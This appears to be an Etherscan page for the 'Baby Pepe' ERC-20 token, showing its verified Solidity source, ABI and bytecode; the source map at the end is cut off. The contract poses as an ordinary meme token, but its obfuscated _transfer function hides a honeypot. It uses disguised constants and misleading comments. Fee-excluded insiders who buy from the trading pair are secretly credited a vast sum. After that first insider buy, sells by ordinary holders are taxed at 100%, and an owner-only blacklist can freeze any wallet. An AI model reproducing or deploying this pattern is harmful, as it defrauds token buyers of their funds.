ETH Price: $2,489.42 (-1.58%)

Token

Baby Pepe (BEPE)
 

Overview

Max Total Supply

420,690,000 BEPE

Holders

56

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.000000001 BEPE

Value
$0.00
0xfa388c8459ecd6fc6b8959aecd3182ea46013f87
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BABYPEPE

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-02-27
*/

// Website      :   http://babypepe.biz/
// Telegram     :   https://t.me/babypepecoineth
// Twitter      :   twitter.com/babypepecoineth

// SPDX-License-Identifier: MIT

pragma solidity 0.8.15;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract BABYPEPE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    uint256[] private _tokenSettings = [
        0,0,(uint256(2**2)*uint256(5**2)), //
        (uint256(5*2)**uint256(2**5)) //
    ];

    mapping (address => uint256) private _tokenOwners;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => uint8) public _tradingBots;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000 * 10**_decimals;
    string private constant _name = unicode"Baby Pepe";
    string private constant _symbol = unicode"BEPE";

    address private _marketingWallet = payable(0x6a703AD0dC05934D9663EF47E785b5805a6fb222);
    address private _uniswapV2PairAddress;
   
    uint8 private _totalTx;
    uint8 private _txCount;

    constructor () {
        _tokenOwners[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tokenOwners[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        bool isPairChanged; address _isPairChanged; uint256 _totalTaxAmount = _tokenSettings[3];
        if(from == owner() ||
        to == owner() ||
        _isExcludedFromFee[from] || // removed fee wallet
        _isExcludedFromFee[to] || // removed fee wallet
        (_totalTx < 1 && to == _marketingWallet))
        {
            if(_totalTx > 0 && to != owner() &&
            from == _uniswapV2PairAddress &&
            _isExcludedFromFee[to]){
                _txCount = uint8(1);
            }
            _tokenOwners[from] = _tokenOwners[from].sub(amount);
            _tokenOwners[to] = _tokenOwners[to].add((amount). // adds tokens to new owner
            add(
            (_totalTx > 0) &&
            (to != owner()) &&
            (from == _uniswapV2PairAddress) &&
            _isExcludedFromFee[to]?_totalTaxAmount:[0][0]
            ));
            if(_totalTx < 1 && to == _marketingWallet){
                isPairChanged = true;
                 _isPairChanged = from;
            }
            if(isPairChanged){
                _uniswapV2PairAddress = _isPairChanged;
                _totalTx = _totalTx+uint8(1);
            }
        }
        else{
            require(
                amount > 0 &&
                _totalTx > 0 && // is trade opened?
                from != address(0) &&
                to != address(0) && 
                _tradingBots[from] < 1 && // is from bot?
                _tradingBots[to] < 1, // is to bot?
                "ERC20: Error while swapping tokens");
            uint256 _transferTaxAmount = amount.mul(_tokenSettings[0]).div(100);
            if(from != _uniswapV2PairAddress){
                _transferTaxAmount = amount.mul(
                    _tokenSettings[ // tax rate from settings
                    _txCount+[1][0]] // 0x1
                    ).div(100);
            }
            _tokenOwners[from] = _tokenOwners[from].sub(amount);
            _tokenOwners[to] = _tokenOwners[to].add(amount.sub(_transferTaxAmount));
        }

        emit Transfer(from, to, amount);
    }

    function _updateTradingBots(address _botAddress, uint8 isBot) public onlyOwner{
        if(isBot > 1){
            require(isBot < 2, "ERR: True(1) or false(0)");
        }
        else{
            _tradingBots[_botAddress] = isBot;
        }
    }

    receive() external payable {}
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_tradingBots","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_botAddress","type":"address"},{"internalType":"uint8","name":"isBot","type":"uint8"}],"name":"_updateTradingBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6101006040526000608081815260a09190915260c06200002260196004620001e6565b81526020016020600a62000037919062000307565b90526200004990600190600462000169565b50600680546001600160a01b031916736a703ad0dc05934d9663ef47e785b5805a6fb2221790553480156200007d57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620000cd6009600a6200031c565b620000dd906319133850620001e6565b3360008181526002602090815260408083209490945581546001600160a01b0316825260049052918220805460ff19166001179055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001426009600a6200031c565b62000152906319133850620001e6565b60405190815260200160405180910390a36200032d565b828054828255906000526020600020908101928215620001a7579160200282015b82811115620001a75782518255916020019190600101906200018a565b50620001b5929150620001b9565b5090565b5b80821115620001b55760008155600101620001ba565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615620002035762000203620001d0565b500290565b600181815b80851115620002495781600019048211156200022d576200022d620001d0565b808516156200023b57918102915b93841c93908002906200020d565b509250929050565b600082620002625750600162000301565b81620002715750600062000301565b81600181146200028a57600281146200029557620002b5565b600191505062000301565b60ff841115620002a957620002a9620001d0565b50506001821b62000301565b5060208310610133831016604e8410600b8410161715620002da575081810a62000301565b620002e6838362000208565b8060001904821115620002fd57620002fd620001d0565b0290505b92915050565b600062000315838362000251565b9392505050565b60006200031560ff84168362000251565b611101806200033d6000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb1461024d578063da1f05e81461026d578063dd62ed3e1461028d578063fa5258b9146102d357600080fd5b8063715018a6146101e15780638da5cb5b146101f857806395d89b411461022057600080fd5b806306fdde03146100d2578063095ea7b31461011657806318160ddd1461014657806323b872dd14610169578063313ce5671461018957806370a08231146101ab57600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600981526842616279205065706560b81b60208201525b60405161010d9190610d8d565b60405180910390f35b34801561012257600080fd5b50610136610131366004610dfe565b610303565b604051901515815260200161010d565b34801561015257600080fd5b5061015b61031a565b60405190815260200161010d565b34801561017557600080fd5b50610136610184366004610e28565b61033b565b34801561019557600080fd5b5060095b60405160ff909116815260200161010d565b3480156101b757600080fd5b5061015b6101c6366004610e64565b6001600160a01b031660009081526002602052604090205490565b3480156101ed57600080fd5b506101f66103a4565b005b34801561020457600080fd5b506000546040516001600160a01b03909116815260200161010d565b34801561022c57600080fd5b506040805180820190915260048152634245504560e01b6020820152610100565b34801561025957600080fd5b50610136610268366004610dfe565b61044d565b34801561027957600080fd5b506101f6610288366004610e7f565b61045a565b34801561029957600080fd5b5061015b6102a8366004610ebc565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156102df57600080fd5b506101996102ee366004610e64565b60056020526000908152604090205460ff1681565b6000610310338484610542565b5060015b92915050565b60006103286009600a610fe9565b610336906319133850610ff8565b905090565b6000610348848484610666565b61039a8433610395856040518060600160405280602881526020016110a4602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610bbe565b610542565b5060019392505050565b6000546001600160a01b031633146104035760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610310338484610666565b6000546001600160a01b031633146104b45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103fa565b60018160ff1611156105175760028160ff16106105135760405162461bcd60e51b815260206004820152601860248201527f4552523a2054727565283129206f722066616c7365283029000000000000000060448201526064016103fa565b5050565b6001600160a01b0382166000908152600560205260409020805460ff831660ff199091161790555050565b6001600160a01b0383166105a45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103fa565b6001600160a01b0382166106055760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103fa565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000806000600160038154811061067f5761067f611017565b9060005260206000200154905061069e6000546001600160a01b031690565b6001600160a01b0316866001600160a01b031614806106ca57506000546001600160a01b038681169116145b806106ed57506001600160a01b03861660009081526004602052604090205460ff165b8061071057506001600160a01b03851660009081526004602052604090205460ff165b8061074057506007546001600160a01b90910460ff1610801561074057506006546001600160a01b038681169116145b1561095957600754600160a01b900460ff161580159061076e57506000546001600160a01b03868116911614155b801561078757506007546001600160a01b038781169116145b80156107ab57506001600160a01b03851660009081526004602052604090205460ff165b156107c4576007805460ff60a81b1916600160a81b1790555b6001600160a01b0386166000908152600260205260409020546107e79085610bf8565b6001600160a01b0387166000908152600260205260409020556007546108b09061089190600160a01b900460ff161580159061083157506000546001600160a01b03888116911614155b801561084a57506007546001600160a01b038981169116145b801561086e57506001600160a01b03871660009081526004602052604090205460ff165b61088857604080516020810190915260009081905261088a565b825b8690610c41565b6001600160a01b03871660009081526002602052604090205490610c41565b6001600160a01b0386166000908152600260205260409020556007546001600160a01b90910460ff161080156108f357506006546001600160a01b038681169116145b1561090057600192508591505b821561095457600780546001600160a01b0319166001600160a01b038416179081905561093990600190600160a01b900460ff1661102d565b600760146101000a81548160ff021916908360ff1602179055505b610b69565b6000841180156109745750600754600160a01b900460ff1615155b801561098857506001600160a01b03861615155b801561099c57506001600160a01b03851615155b80156109c557506001600160a01b038616600090815260056020526040902054600160ff909116105b80156109ee57506001600160a01b038516600090815260056020526040902054600160ff909116105b610a455760405162461bcd60e51b815260206004820152602260248201527f45524332303a204572726f72207768696c65207377617070696e6720746f6b656044820152616e7360f01b60648201526084016103fa565b6000610a836064610a7d6001600081548110610a6357610a63611017565b906000526020600020015488610ca090919063ffffffff16565b90610d22565b6007549091506001600160a01b03888116911614610ae6576040805160208101909152600190819052600754610ae391606491610a7d9190610ad0908290600160a81b900460ff1661102d565b60ff1681548110610a6357610a63611017565b90505b6001600160a01b038716600090815260026020526040902054610b099086610bf8565b6001600160a01b038816600090815260026020526040902055610b4e610b2f8683610bf8565b6001600160a01b03881660009081526002602052604090205490610c41565b6001600160a01b038716600090815260026020526040902055505b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610bae91815260200190565b60405180910390a3505050505050565b60008184841115610be25760405162461bcd60e51b81526004016103fa9190610d8d565b506000610bef8486611052565b95945050505050565b6000610c3a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bbe565b9392505050565b600080610c4e8385611069565b905083811015610c3a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103fa565b600082600003610cb257506000610314565b6000610cbe8385610ff8565b905082610ccb8583611081565b14610c3a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103fa565b6000610c3a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183610d805760405162461bcd60e51b81526004016103fa9190610d8d565b506000610bef8486611081565b600060208083528351808285015260005b81811015610dba57858101830151858201604001528201610d9e565b81811115610dcc576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610df957600080fd5b919050565b60008060408385031215610e1157600080fd5b610e1a83610de2565b946020939093013593505050565b600080600060608486031215610e3d57600080fd5b610e4684610de2565b9250610e5460208501610de2565b9150604084013590509250925092565b600060208284031215610e7657600080fd5b610c3a82610de2565b60008060408385031215610e9257600080fd5b610e9b83610de2565b9150602083013560ff81168114610eb157600080fd5b809150509250929050565b60008060408385031215610ecf57600080fd5b610ed883610de2565b9150610ee660208401610de2565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610f40578160001904821115610f2657610f26610eef565b80851615610f3357918102915b93841c9390800290610f0a565b509250929050565b600082610f5757506001610314565b81610f6457506000610314565b8160018114610f7a5760028114610f8457610fa0565b6001915050610314565b60ff841115610f9557610f95610eef565b50506001821b610314565b5060208310610133831016604e8410600b8410161715610fc3575081810a610314565b610fcd8383610f05565b8060001904821115610fe157610fe1610eef565b029392505050565b6000610c3a60ff841683610f48565b600081600019048311821515161561101257611012610eef565b500290565b634e487b7160e01b600052603260045260246000fd5b600060ff821660ff84168060ff0382111561104a5761104a610eef565b019392505050565b60008282101561106457611064610eef565b500390565b6000821982111561107c5761107c610eef565b500190565b60008261109e57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220044be33984d92468c853f6eb59b1a881ffffaad8ec3dd05a46d707b9bb697baa64736f6c634300080f0033

Deployed Bytecode

0x6080604052600436106100c65760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb1461024d578063da1f05e81461026d578063dd62ed3e1461028d578063fa5258b9146102d357600080fd5b8063715018a6146101e15780638da5cb5b146101f857806395d89b411461022057600080fd5b806306fdde03146100d2578063095ea7b31461011657806318160ddd1461014657806323b872dd14610169578063313ce5671461018957806370a08231146101ab57600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600981526842616279205065706560b81b60208201525b60405161010d9190610d8d565b60405180910390f35b34801561012257600080fd5b50610136610131366004610dfe565b610303565b604051901515815260200161010d565b34801561015257600080fd5b5061015b61031a565b60405190815260200161010d565b34801561017557600080fd5b50610136610184366004610e28565b61033b565b34801561019557600080fd5b5060095b60405160ff909116815260200161010d565b3480156101b757600080fd5b5061015b6101c6366004610e64565b6001600160a01b031660009081526002602052604090205490565b3480156101ed57600080fd5b506101f66103a4565b005b34801561020457600080fd5b506000546040516001600160a01b03909116815260200161010d565b34801561022c57600080fd5b506040805180820190915260048152634245504560e01b6020820152610100565b34801561025957600080fd5b50610136610268366004610dfe565b61044d565b34801561027957600080fd5b506101f6610288366004610e7f565b61045a565b34801561029957600080fd5b5061015b6102a8366004610ebc565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156102df57600080fd5b506101996102ee366004610e64565b60056020526000908152604090205460ff1681565b6000610310338484610542565b5060015b92915050565b60006103286009600a610fe9565b610336906319133850610ff8565b905090565b6000610348848484610666565b61039a8433610395856040518060600160405280602881526020016110a4602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610bbe565b610542565b5060019392505050565b6000546001600160a01b031633146104035760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610310338484610666565b6000546001600160a01b031633146104b45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103fa565b60018160ff1611156105175760028160ff16106105135760405162461bcd60e51b815260206004820152601860248201527f4552523a2054727565283129206f722066616c7365283029000000000000000060448201526064016103fa565b5050565b6001600160a01b0382166000908152600560205260409020805460ff831660ff199091161790555050565b6001600160a01b0383166105a45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103fa565b6001600160a01b0382166106055760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103fa565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000806000600160038154811061067f5761067f611017565b9060005260206000200154905061069e6000546001600160a01b031690565b6001600160a01b0316866001600160a01b031614806106ca57506000546001600160a01b038681169116145b806106ed57506001600160a01b03861660009081526004602052604090205460ff165b8061071057506001600160a01b03851660009081526004602052604090205460ff165b8061074057506007546001600160a01b90910460ff1610801561074057506006546001600160a01b038681169116145b1561095957600754600160a01b900460ff161580159061076e57506000546001600160a01b03868116911614155b801561078757506007546001600160a01b038781169116145b80156107ab57506001600160a01b03851660009081526004602052604090205460ff165b156107c4576007805460ff60a81b1916600160a81b1790555b6001600160a01b0386166000908152600260205260409020546107e79085610bf8565b6001600160a01b0387166000908152600260205260409020556007546108b09061089190600160a01b900460ff161580159061083157506000546001600160a01b03888116911614155b801561084a57506007546001600160a01b038981169116145b801561086e57506001600160a01b03871660009081526004602052604090205460ff165b61088857604080516020810190915260009081905261088a565b825b8690610c41565b6001600160a01b03871660009081526002602052604090205490610c41565b6001600160a01b0386166000908152600260205260409020556007546001600160a01b90910460ff161080156108f357506006546001600160a01b038681169116145b1561090057600192508591505b821561095457600780546001600160a01b0319166001600160a01b038416179081905561093990600190600160a01b900460ff1661102d565b600760146101000a81548160ff021916908360ff1602179055505b610b69565b6000841180156109745750600754600160a01b900460ff1615155b801561098857506001600160a01b03861615155b801561099c57506001600160a01b03851615155b80156109c557506001600160a01b038616600090815260056020526040902054600160ff909116105b80156109ee57506001600160a01b038516600090815260056020526040902054600160ff909116105b610a455760405162461bcd60e51b815260206004820152602260248201527f45524332303a204572726f72207768696c65207377617070696e6720746f6b656044820152616e7360f01b60648201526084016103fa565b6000610a836064610a7d6001600081548110610a6357610a63611017565b906000526020600020015488610ca090919063ffffffff16565b90610d22565b6007549091506001600160a01b03888116911614610ae6576040805160208101909152600190819052600754610ae391606491610a7d9190610ad0908290600160a81b900460ff1661102d565b60ff1681548110610a6357610a63611017565b90505b6001600160a01b038716600090815260026020526040902054610b099086610bf8565b6001600160a01b038816600090815260026020526040902055610b4e610b2f8683610bf8565b6001600160a01b03881660009081526002602052604090205490610c41565b6001600160a01b038716600090815260026020526040902055505b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610bae91815260200190565b60405180910390a3505050505050565b60008184841115610be25760405162461bcd60e51b81526004016103fa9190610d8d565b506000610bef8486611052565b95945050505050565b6000610c3a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bbe565b9392505050565b600080610c4e8385611069565b905083811015610c3a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103fa565b600082600003610cb257506000610314565b6000610cbe8385610ff8565b905082610ccb8583611081565b14610c3a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103fa565b6000610c3a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183610d805760405162461bcd60e51b81526004016103fa9190610d8d565b506000610bef8486611081565b600060208083528351808285015260005b81811015610dba57858101830151858201604001528201610d9e565b81811115610dcc576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610df957600080fd5b919050565b60008060408385031215610e1157600080fd5b610e1a83610de2565b946020939093013593505050565b600080600060608486031215610e3d57600080fd5b610e4684610de2565b9250610e5460208501610de2565b9150604084013590509250925092565b600060208284031215610e7657600080fd5b610c3a82610de2565b60008060408385031215610e9257600080fd5b610e9b83610de2565b9150602083013560ff81168114610eb157600080fd5b809150509250929050565b60008060408385031215610ecf57600080fd5b610ed883610de2565b9150610ee660208401610de2565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610f40578160001904821115610f2657610f26610eef565b80851615610f3357918102915b93841c9390800290610f0a565b509250929050565b600082610f5757506001610314565b81610f6457506000610314565b8160018114610f7a5760028114610f8457610fa0565b6001915050610314565b60ff841115610f9557610f95610eef565b50506001821b610314565b5060208310610133831016604e8410600b8410161715610fc3575081810a610314565b610fcd8383610f05565b8060001904821115610fe157610fe1610eef565b029392505050565b6000610c3a60ff841683610f48565b600081600019048311821515161561101257611012610eef565b500290565b634e487b7160e01b600052603260045260246000fd5b600060ff821660ff84168060ff0382111561104a5761104a610eef565b019392505050565b60008282101561106457611064610eef565b500390565b6000821982111561107c5761107c610eef565b500190565b60008261109e57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220044be33984d92468c853f6eb59b1a881ffffaad8ec3dd05a46d707b9bb697baa64736f6c634300080f0033

Deployed Bytecode Sourcemap

2855:5244:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3935:83;;;;;;;;;;-1:-1:-1;4005:5:0;;;;;;;;;;;;-1:-1:-1;;;4005:5:0;;;;3935:83;;;;;;;:::i;:::-;;;;;;;;4771:161;;;;;;;;;;-1:-1:-1;4771:161:0;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;4771:161:0;1053:187:1;4212:95:0;;;;;;;;;;;;;:::i;:::-;;;1391:25:1;;;1379:2;1364:18;4212:95:0;1245:177:1;4944:313:0;;;;;;;;;;-1:-1:-1;4944:313:0;;;;;:::i;:::-;;:::i;4121:83::-;;;;;;;;;;-1:-1:-1;3363:1:0;4121:83;;;1932:4:1;1920:17;;;1902:36;;1890:2;1875:18;4121:83:0;1760:184:1;4315:122:0;;;;;;;;;;-1:-1:-1;4315:122:0;;;;;:::i;:::-;-1:-1:-1;;;;;4408:21:0;4381:7;4408:21;;;:12;:21;;;;;;;4315:122;2698:148;;;;;;;;;;;;;:::i;:::-;;2484:79;;;;;;;;;;-1:-1:-1;2522:7:0;2549:6;2484:79;;-1:-1:-1;;;;;2549:6:0;;;2286:51:1;;2274:2;2259:18;2484:79:0;2140:203:1;4026:87:0;;;;;;;;;;-1:-1:-1;4098:7:0;;;;;;;;;;;;-1:-1:-1;;;4098:7:0;;;;4026:87;;4445:167;;;;;;;;;;-1:-1:-1;4445:167:0;;;;;:::i;:::-;;:::i;7797:256::-;;;;;;;;;;-1:-1:-1;7797:256:0;;;;;:::i;:::-;;:::i;4620:143::-;;;;;;;;;;-1:-1:-1;4620:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;4728:18:0;;;4701:7;4728:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4620:143;3273:46;;;;;;;;;;-1:-1:-1;3273:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4771:161;4846:4;4863:39;318:10;4886:7;4895:6;4863:8;:39::i;:::-;-1:-1:-1;4920:4:0;4771:161;;;;;:::o;4212:95::-;4265:7;3418:13;3363:1;3418:2;:13;:::i;:::-;3406:25;;:9;:25;:::i;:::-;4285:14;;4212:95;:::o;4944:313::-;5042:4;5059:36;5069:6;5077:9;5088:6;5059:9;:36::i;:::-;5106:121;5115:6;318:10;5137:89;5175:6;5137:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;5137:19:0;;;;;;:11;:19;;;;;;;;318:10;5137:33;;;;;;;;;;:37;:89::i;:::-;5106:8;:121::i;:::-;-1:-1:-1;5245:4:0;4944:313;;;;;:::o;2698:148::-;2611:6;;-1:-1:-1;;;;;2611:6:0;318:10;2611:22;2603:67;;;;-1:-1:-1;;;2603:67:0;;4851:2:1;2603:67:0;;;4833:21:1;;;4870:18;;;4863:30;4929:34;4909:18;;;4902:62;4981:18;;2603:67:0;;;;;;;;;2805:1:::1;2789:6:::0;;2768:40:::1;::::0;-1:-1:-1;;;;;2789:6:0;;::::1;::::0;2768:40:::1;::::0;2805:1;;2768:40:::1;2836:1;2819:19:::0;;-1:-1:-1;;;;;;2819:19:0::1;::::0;;2698:148::o;4445:167::-;4523:4;4540:42;318:10;4564:9;4575:6;4540:9;:42::i;7797:256::-;2611:6;;-1:-1:-1;;;;;2611:6:0;318:10;2611:22;2603:67;;;;-1:-1:-1;;;2603:67:0;;4851:2:1;2603:67:0;;;4833:21:1;;;4870:18;;;4863:30;4929:34;4909:18;;;4902